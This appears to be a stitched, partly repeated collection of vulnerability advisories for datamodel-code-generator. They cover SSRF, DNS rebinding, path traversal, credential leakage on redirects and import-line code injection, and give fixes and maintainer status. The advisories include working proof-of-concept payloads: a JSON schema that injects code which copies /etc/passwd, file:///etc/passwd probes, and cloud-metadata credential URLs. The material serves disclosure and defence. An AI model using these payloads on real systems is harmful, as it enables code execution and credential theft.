PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2
Host A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A.

(The PoC uses loopback servers; allow_private_network=True is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)

Impact

Exposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (--http-headers, --url with userinfo) when the configured host issues a redirect to a different origin — e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied $ref. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project's other SSRF hardening.

Suggested remediation

When a redirect changes the origin (scheme/host/port), drop Authorization and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1

Fix summary: strip Authorization, Cookie, and Proxy-Authorization headers when a redirect crosses origin; preserve headers for same-origin redirects.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for the redirect regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

When generating models from an XML Schema (--input-file-type xmlschema), datamodel-code-generator resolves <xs:include>, <xs:import>, <xs:redefine>, and <xs:override> schemaLocation attributes against the source directory and reads the target with no restriction to the input/base directory. An attacker who controls the input XSD can read arbitrary files via ../ traversal or an absolute path, and the included schema's contents (type names, restrictions, enumerations) are folded into the generated output. Unlike the JSON-Schema $ref path, there is no allow_remote_refs control for XSD, so --no-allow-remote-refs does not mitigate it. This is an unauthenticated path-traversal / information-disclosure issue reachable in the default configuration.

Details

The XSD parser walks include-style children and reads each schemaLocation with only an is_file() check (src/datamodel_code_generator/parser/xmlschema.py):

location = (source_dir / schema_location).resolve()   # .resolve() collapses ../, escapes base
if location in seen or not location.is_file():
    continue
included_root = self._parse_schema(_read_xml_text(location, self.encoding), location)

schema_location is attacker-controlled and _read_xml_text does path.read_bytes(). Because (source_dir / schema_location).resolve() normalizes .. and accepts absolute paths, the resolved target can be any file the process can read; there is no is_relative_to(base_path) containment (contrast the JSON-Schema HTTP-local branch, which does enforce it). The same unbounded read occurs both during version detection and during the main include-processing pass, so the included content is incorporated into the generated module.

Related vectors that were tested and do NOT apply (stdlib xml.etree.ElementTree is used): external-entity XXE file read does not occur (ElementTree does not fetch external entities), and entity-expansion "billion laughs" is rejected by CPython's expat amplification limit.

PoC

Self-contained reproducer (creates a temp dir, runs the generator, cleans up): https://gist.github.com/thegr1ffyn/c7096b797926348875d888652867eeb4 (poc.py).

Minimal manual reproduction:

mkdir -p /tmp/x/secret /tmp/x/proj
cat > /tmp/x/secret/leak.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:simpleType name="LEAK_5150"><xs:restriction base="xs:string"/></xs:simpleType>
</xs:schema>
EOF
cat > /tmp/x/proj/attack.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:include schemaLocation="../../x/secret/leak.xsd"/>
  <xs:element name="Root" type="LEAK_5150"/>
</xs:schema>
EOF
datamodel-codegen --input /tmp/x/proj/attack.xsd --input-file-type xmlschema --no-allow-remote-refs --output /tmp/x/out.py
grep LEAK_5150 /tmp/x/out.py   # content from outside the project dir appears in generated code

An absolute schemaLocation="/abs/path/leak.xsd" works identically.

Impact

Arbitrary local file read / path traversal (CWE-22) leading to information disclosure (CWE-200). Any application, CI pipeline, or multi-tenant service that generates models from an attacker-supplied XSD and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can read files outside the input tree whose data is addressable as XSD content (other schemas, configs), and the read itself is an arbitrary-file-access primitive. No flag mitigates it. The attacker controls only the input schema; no authentication or special privileges are required. (Raw bytes of files that are not valid XML are read into the process but not echoed verbatim, since parsing fails; verbatim disclosure applies to XML/XSD-shaped data.)

Suggested remediation

Reject resolved schemaLocation targets that are not resolved.is_relative_to(self.base_path), and bring XSD includes under the same remote/external-reference policy enforced for JSON-Schema $ref.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-442q-2j6p-642g/pull/1

Fix summary: reject XSD schemaLocation targets that resolve outside the input base path, including relative traversal and absolute paths.

Release status: fixed in 0.62.0. XML Schema input support was introduced in 0.59.0, so affected versions are >= 0.59.0, <= 0.61.0.

Validation: uv run --group test --extra http pytest tests/main/xmlschema/test_main_xmlschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/xmlschema.py tests/main/xmlschema/test_main_xmlschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator resolves JSON-Schema $ref targets that point at the local filesystem without restricting them to the input/base directory and without honoring the remote-reference security control. In the default configuration, an attacker who controls an input schema (a "paste your OpenAPI/JSON-Schema" service, a CI job that generates models from a submitted spec, or any multi-tenant codegen platform) can read any file the process user can read and map the host filesystem. This works via either a file:// absolute URI or a ../-escaped relative reference, and it succeeds even when --no-allow-remote-refs is set.

This is an unauthenticated path-traversal / information-disclosure issue (CWE-22 / CWE-200) plus a bypass of a documented security control.

Details

is_url() classifies file:// as a URL (reference.py:1249):

def is_url(ref: str) -> bool:
    return ref.startswith(("https://", "http://", "file://"))

The remote-ref gate then explicitly exempts file://, so --no-allow-remote-refs never applies to it (parser/jsonschema.py, _get_ref_body):

if is_url(resolved_ref):
    if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
        if self.allow_remote_refs is False:
            raise Error(...)        # <-- skipped for file://
        ...
    return self._get_ref_body_from_url(resolved_ref)
return self._get_ref_body_from_remote(resolved_ref)

Both local-file branches read the target with no containment check. The file:// branch reads any absolute path:

# _get_ref_body_from_url
if ref.startswith("file://"):
    path = url2pathname(urlparse(ref).path)     # absolute path, anywhere on disk
    return self.remote_object_cache.get_or_put(
        ref, default_factory=lambda _: load_data_from_path(Path(path), self.encoding))

and the plain relative branch lets ../ escape the base directory:

# _get_ref_body_from_remote
full_path = self.base_path / resolved_ref       # no is_relative_to(base_path) check
return self.remote_object_cache.get_or_put(
    str(full_path), default_factory=lambda _: load_data_from_path(full_path, self.encoding))

For contrast, the HTTP-local-ref branch (_get_ref_body_from_local_http_path) does enforce is_relative_to(base_path); these two filesystem branches do not. (This is distinct from the previously reported HTTP $ref/--url SSRF hardened in http.py these code paths never enter http.py.)

The fetched file is read and parsed, yielding two impacts:

1. Arbitrary file read + filesystem oracle (any file). The process opens any readable path, and the three distinguishable outcomes leak filesystem structure: Expected dict, got str/list = the file exists and was read into the process; FileNotFoundError: '<abs path>' = missing; PermissionError: '<abs path>' = exists but unreadable. An attacker uses this to probe arbitrary paths and recover the operator's absolute filesystem layout.

2. Verbatim secret disclosure into the generated code. When the referenced node is JSON-Schema-shaped, values in const/default/enum/description positions are emitted verbatim into the generated Python that is returned to the attacker — i.e. exactly the internal/private schema and config files a codegen host stores (specs with example/default tokens, default credentials, internal hostnames, service-account JSON, k8s secret manifests).

Scope note (to avoid overstating): the raw bytes of unstructured files such as /etc/passwd or a PEM id_rsa are read into the process but are not echoed verbatim into the output, because they parse to a single scalar and are rejected as "not a schema". For those files the impact is the read itself plus the existence/permission/absolute-path oracle; verbatim content disclosure applies to schema-shaped nodes.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/2a87e81f985883acc30d0118c52da4d3 / (poc.py creates everything in a temp dir, runs the generator, asserts read + leak + gate bypass, and cleans up). Minimal manual reproduction of the arbitrary read (any path works):

printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --output o.py
# -> "TypeError: Expected dict, got str"  == /etc/passwd was opened and fully parsed.
# Swap the $ref for a missing/unreadable path to see the existence/permission oracle.

Impact

Arbitrary local file read / path traversal (CWE-22) → information disclosure (CWE-200), plus bypass of --no-allow-remote-refs. Any application, CI pipeline, or multi-tenant service that runs datamodel-code-generator on an untrusted schema and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can: open and read any file the process user can read (demonstrated: /etc/passwd, a PEM id_rsa, paths under /root/); map the host filesystem and recover absolute paths; and exfiltrate secret values verbatim from any schema-shaped node. Attacker controls only the input schema; no authentication or special privileges required.

Suggested remediation

1. Do not exempt file:// from the allow_remote_refs gate, treat it as an external scheme.
2. In both _get_ref_body_from_url (the file:// case) and _get_ref_body_from_remote, reject targets that are not resolved.is_relative_to(self.base_path), mirroring the existing check in _get_ref_body_from_local_http_path.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-8359-h9fx-j6v9/pull/1

Fix summary: apply the remote-ref gate to file:// refs and local JSON Schema refs outside the input base path. In 0.62.0, --no-allow-remote-refs blocks these references; the default compatibility mode emits a FutureWarning and users who intentionally rely on trusted external local refs can pass --allow-remote-refs.

Release status: fixed in 0.62.0 for the documented --no-allow-remote-refs bypass, with a compatibility warning for the default behavior.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator's anti-SSRF guard validates the resolved IP of a fetch target once and then lets httpx perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (169.254.169.254), and other internal services — even with the default allow_private_network=False. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote $ref, or --url).

Details

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the host via _get_ips_from_host() (socket.getaddrinfo) and rejects non-global addresses:

ips = _get_ips_from_host(host)            # resolution #1 (validation)
if not ips: return
if all(_is_safe_ip(ip) for ip in ips): return
raise SchemaFetchError(...)               # blocks private/link-local/reserved

It then connects with a separate, independent resolution:

response = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1

Nothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 It starts a loopback HTTP server standing in for an internal target and patches socket.getaddrinfo to return a public IP on the guard's lookup and 127.0.0.1 on httpx's the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls).

Reachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch http://that-host/schema.json either via --url or via a remote $ref in a supplied schema (remote refs are fetched on the default configuration).

Impact

Server-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs datamodel-code-generator against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (169.254.169.254), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1

Fix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for DNS pinning and URL-fetch regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

JSON-Schema $ref values pointing at HTTP or HTTPS URLs are silently dereferenced by datamodel-code-generator with no IP/host validation, no scheme allow-list, and redirects followed unconditionally. The --allow-remote-refs gate added in 0.56.0 defaults to None, which only emits a deprecation warning and then fetches the URL anyway; only explicit --allow-remote-refs=false blocks the request. The fetched body is parsed as a sub-schema and reflected verbatim into the generated .py source. As a result, any JSON-Schema document the developer feeds to datamodel-codegen — including documents authored by an attacker — can pivot to arbitrary internal addresses and leak the response into the generated code, with no developer cooperation beyond running the tool.

Details

Sink: src/datamodel_code_generator/parser/jsonschema.py, _get_ref_body (lines 4776–4793, at tag 0.60.1 / commit a321547e):

def _get_ref_body(self, resolved_ref: str) -> dict[str, YamlValue]:
    if is_url(resolved_ref):
        if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
            if self.allow_remote_refs is False:
                raise Error(f"Fetching remote $ref is disabled: {resolved_ref}...")
            if self.allow_remote_refs is None:
                warn_deprecated(                            # (A) warn only
                    "behavior.remote-ref-default",
                    details=f"Reference: {resolved_ref}",
                    stacklevel=2,
                )
        return self._get_ref_body_from_url(resolved_ref)    # (B) fetch fires
    return self._get_ref_body_from_remote(resolved_ref)

• (A) emits a deprecation warning when allow_remote_refs is its default (None); execution falls through to (B).
• (B) routes the URL through _get_text_from_url → get_body, the same fetcher described in other report — no IP validation, redirects followed.

The fetched body is then parsed as a sub-schema and merged into the model graph, so description, title, properties, etc. from the remote document end up in the generated .py source.

Only affects users who installed the [http] extra (pip install 'datamodel-code-generator[http]').

PoC

A self-contained one-file PoC is available here: https://gist.github.com/thegr1ffyn/562a6972d7dc3f2869458ae93fc608c0

Impact

Who is impacted. Anyone running datamodel-codegen on a JSON-Schema or OpenAPI document of uncertain provenance, with the [http] extra installed. Real-world scenarios:

1. Trojaned OpenAPI document. A public REST API publishes openapi.yaml. One $ref points at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>; running datamodel-codegen against the spec from an EC2 instance leaks the IAM credentials into the generated client.
2. Customer-supplied JSON Schema. A B2B SaaS auto-generates client code from customer-uploaded schemas. The customer adds an HTTP $ref to http://internal-admin:8080/users.json; the response (e.g. JSON user list) ends up in the generated Python the SaaS hands back to the customer.
3. CI on a private network. A PR adds schemas/inbound.json with an HTTP $ref pointed at a service reachable only from the CI cluster's VPC; the CI runner fetches it and the generated .py leaks the response in PR artifacts.

Higher real-world risk than the sibling CLI-flag SSRF (other SSRF in this report bundle) because the schema author chooses the destination — the developer doesn't have to type any URL.

Suggested fix.

1. Flip the default in parser/base.py: allow_remote_refs: bool = False, and remove the silent-fetch-with-warning fallback at parser/jsonschema.py:4786-4791.
2. When fetching is allowed, apply the same IP/host validation proposed for other submitted SSRF report to both the initial $ref URL and every redirect target.
3. Document HTTP $ref in a third-party schema as equivalent to running curl on the developer's host.

Maintainer resolution

This $ref report is fixed by the same shared HTTP fetcher hardening that resolved GHSA-rfr2-mq9m-x2qx. The code landed through the GHSA-rfr2 private security PR koxudaxi/datamodel-code-generator-ghsa-rfr2-mq9m-x2qx#1 and was merged into the public repository as 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb. Follow-up generated-file and coverage fixes were merged in koxudaxi/datamodel-code-generator#3279 and docs were synced in #3280. The patched release is 0.61.0.

No separate net code diff remains in the GHSA-954 private PR because the shared HTTP fetcher patch is already present on main. This advisory remains separate because the affected entry point is remote JSON Schema/OpenAPI $ref resolution rather than direct CLI --url input.

The fix does not flip the --allow-remote-refs compatibility default in this patch. Instead, it mitigates the SSRF issue by blocking localhost, loopback, private, link-local, reserved, and other non-public network targets by default, validating every redirect target before it is fetched, and requiring --allow-private-network / allow_private_network=True for trusted internal schema endpoints. Remote $ref fetching remains controlled by --allow-remote-refs; non-public/internal targets additionally require --allow-private-network.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

• src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines:

  @classmethod
  @lru_cache
  def from_full_path(cls, class_path: str) -> Import:
      split_class_path: list[str] = class_path.split(".")
      return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  

• src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim:

  def create_line(self, from_: str | None, imports: set[str]) -> str:
      if from_:
          return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
      return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
  

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):

   x_python_import = ref_schema.extras.get("x-python-import")
   if isinstance(x_python_import, dict):
       module = x_python_import.get("module")
       type_name = x_python_import.get("name")
       if module and type_name:
           full_path = f"{module}.{type_name}"
           import_ = Import.from_full_path(full_path)
           self.imports.append(import_)
   

2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

When datamodel-code-generator fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any Authorization header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.

Details

In src/datamodel_code_generator/http.py, get_body() follows redirects manually and re-issues each hop with the same headers argument, with no check that the origin is unchanged:

for redirect_count in range(MAX_HTTP_REDIRECTS + 1):
    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)
    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop
    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:
        break
    current_url = redirect_url

Browsers and HTTP clients such as requests/httpx strip Authorization when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via --http-headers (and credentials can also arrive through --url userinfo), so a redirect from the trusted host to any other host discloses them.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2
Host A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A.

(The PoC uses loopback servers; allow_private_network=True is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)

Impact

Exposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (--http-headers, --url with userinfo) when the configured host issues a redirect to a different origin — e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied $ref. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project's other SSRF hardening.

Suggested remediation

When a redirect changes the origin (scheme/host/port), drop Authorization and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1

Fix summary: strip Authorization, Cookie, and Proxy-Authorization headers when a redirect crosses origin; preserve headers for same-origin redirects.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for the redirect regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator's built-in HTTP fetcher (http.get_body) issues an httpx.GET against any URL passed to --url (or reached via a redirect chain) with no allow-list, no deny-list, no IP/host validation, and follow_redirects=True. Loopback addresses, RFC1918 ranges, link-local (169.254.169.254 cloud metadata), unique-local IPv6 and any other network-accessible target are all reachable. The JSON/YAML response body is parsed as a schema and reflected into the generated .py source, exfiltrating the response to anyone with access to that file (commonly committed to a repository).

Details

Sink: src/datamodel_code_generator/http.py, get_body (lines 31–61, at tag 0.60.1 / commit a321547e):

def get_body(url, headers=None, ignore_tls=False,
             query_parameters=None, timeout=DEFAULT_HTTP_TIMEOUT) -> str:
    httpx = _get_httpx()
    try:
        response = httpx.get(
            url,
            headers=headers,
            verify=not ignore_tls,
            follow_redirects=True,          # (A)
            params=query_parameters,
            timeout=timeout,
        )
    except Exception as e:
        ...
    if response.status_code >= 400:
        ...
    content_type = response.headers.get("content-type", "").lower()
    if "text/html" in content_type:
        raise SchemaFetchError(...)         # (B) — only filter
    return response.text                    # (C) → embedded in generated.py

• (A) follows redirects unconditionally — a public URL → 302 → internal address chain works.
• (B) the only filter is rejecting text/html. Non-HTML internal endpoints (JSON APIs, cloud metadata, admin services) pass through.
• (C) the response body becomes the schema; its title, description, properties, etc. land in the generated .py as class attributes and Field(description=...) strings.

get_body is called by parser/base.py:1326 (_get_text_from_url), which is reached from CLI argument --url <URL>. (The $ref path is a separate advisory — see GHSA-D.)

Only affects users who installed the [http] extra (pip install 'datamodel-code-generator[http]').

PoC

A self-contained one-file PoC available here: https://gist.github.com/thegr1ffyn/18de777d6c800a3b47715425e3f3e8f5

Impact

Who is impacted. Anyone who runs datamodel-codegen with a --url they didn't fully verify, or who runs it inside a network with reachable internal services. Realistic scenarios:

1. Trojan documentation / README. A blog post or README example reads datamodel-codegen --url https://schemas.example.com/user.json -o user.py. The attacker controls example.com, redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>, and the IAM credentials end up as a docstring in user.py.
2. Internal port scan / disclosure. Iterating --url http://127.0.0.1:<port>/health probes localhost services; non-HTML, non-error responses confirm a service and leak its body into the generated file.
3. CI poisoning. A PR adds a Makefile rule that calls datamodel-codegen --url $(SCHEMA_URL); the CI runner reaches every internal service in its VPC and the response lands in PR artifacts.

Suggested fix. Resolve the URL host, reject loopback / private / link-local / multicast / reserved IPs by default, disable redirects by default (follow_redirects=False), re-validate after each redirect if the user opts into following them, and add an --allow-private-network flag for opt-in legitimate use.

Maintainer resolution

This report was fixed together with GHSA-954p-556p-r752 by the private security PR koxudaxi/datamodel-code-generator-ghsa-rfr2-mq9m-x2qx#1, merged into the public repository as 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb. Follow-up generated-file and coverage fixes were merged in koxudaxi/datamodel-code-generator#3279 and docs were synced in #3280. The patched release is 0.61.0.

The patch hardens the shared HTTP fetcher used by both direct CLI --url fetching and remote JSON Schema/OpenAPI $ref resolution:

• validates HTTP(S) URLs before fetching;
• blocks localhost, loopback, private, link-local, reserved, and other non-public network targets by default;
• disables automatic redirect following and validates each redirect target before requesting it;
• adds --allow-private-network / allow_private_network=True as an explicit opt-in for trusted internal schema endpoints.

Remote $ref fetching remains controlled by --allow-remote-refs; non-public/internal targets additionally require --allow-private-network.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

When generating models from an XML Schema (--input-file-type xmlschema), datamodel-code-generator resolves <xs:include>, <xs:import>, <xs:redefine>, and <xs:override> schemaLocation attributes against the source directory and reads the target with no restriction to the input/base directory. An attacker who controls the input XSD can read arbitrary files via ../ traversal or an absolute path, and the included schema's contents (type names, restrictions, enumerations) are folded into the generated output. Unlike the JSON-Schema $ref path, there is no allow_remote_refs control for XSD, so --no-allow-remote-refs does not mitigate it. This is an unauthenticated path-traversal / information-disclosure issue reachable in the default configuration.

Details

The XSD parser walks include-style children and reads each schemaLocation with only an is_file() check (src/datamodel_code_generator/parser/xmlschema.py):

location = (source_dir / schema_location).resolve()   # .resolve() collapses ../, escapes base
if location in seen or not location.is_file():
    continue
included_root = self._parse_schema(_read_xml_text(location, self.encoding), location)

schema_location is attacker-controlled and _read_xml_text does path.read_bytes(). Because (source_dir / schema_location).resolve() normalizes .. and accepts absolute paths, the resolved target can be any file the process can read; there is no is_relative_to(base_path) containment (contrast the JSON-Schema HTTP-local branch, which does enforce it). The same unbounded read occurs both during version detection and during the main include-processing pass, so the included content is incorporated into the generated module.

Related vectors that were tested and do NOT apply (stdlib xml.etree.ElementTree is used): external-entity XXE file read does not occur (ElementTree does not fetch external entities), and entity-expansion "billion laughs" is rejected by CPython's expat amplification limit.

PoC

Self-contained reproducer (creates a temp dir, runs the generator, cleans up): https://gist.github.com/thegr1ffyn/c7096b797926348875d888652867eeb4 (poc.py).

Minimal manual reproduction:

mkdir -p /tmp/x/secret /tmp/x/proj
cat > /tmp/x/secret/leak.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:simpleType name="LEAK_5150"><xs:restriction base="xs:string"/></xs:simpleType>
</xs:schema>
EOF
cat > /tmp/x/proj/attack.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:include schemaLocation="../../x/secret/leak.xsd"/>
  <xs:element name="Root" type="LEAK_5150"/>
</xs:schema>
EOF
datamodel-codegen --input /tmp/x/proj/attack.xsd --input-file-type xmlschema --no-allow-remote-refs --output /tmp/x/out.py
grep LEAK_5150 /tmp/x/out.py   # content from outside the project dir appears in generated code

An absolute schemaLocation="/abs/path/leak.xsd" works identically.

Impact

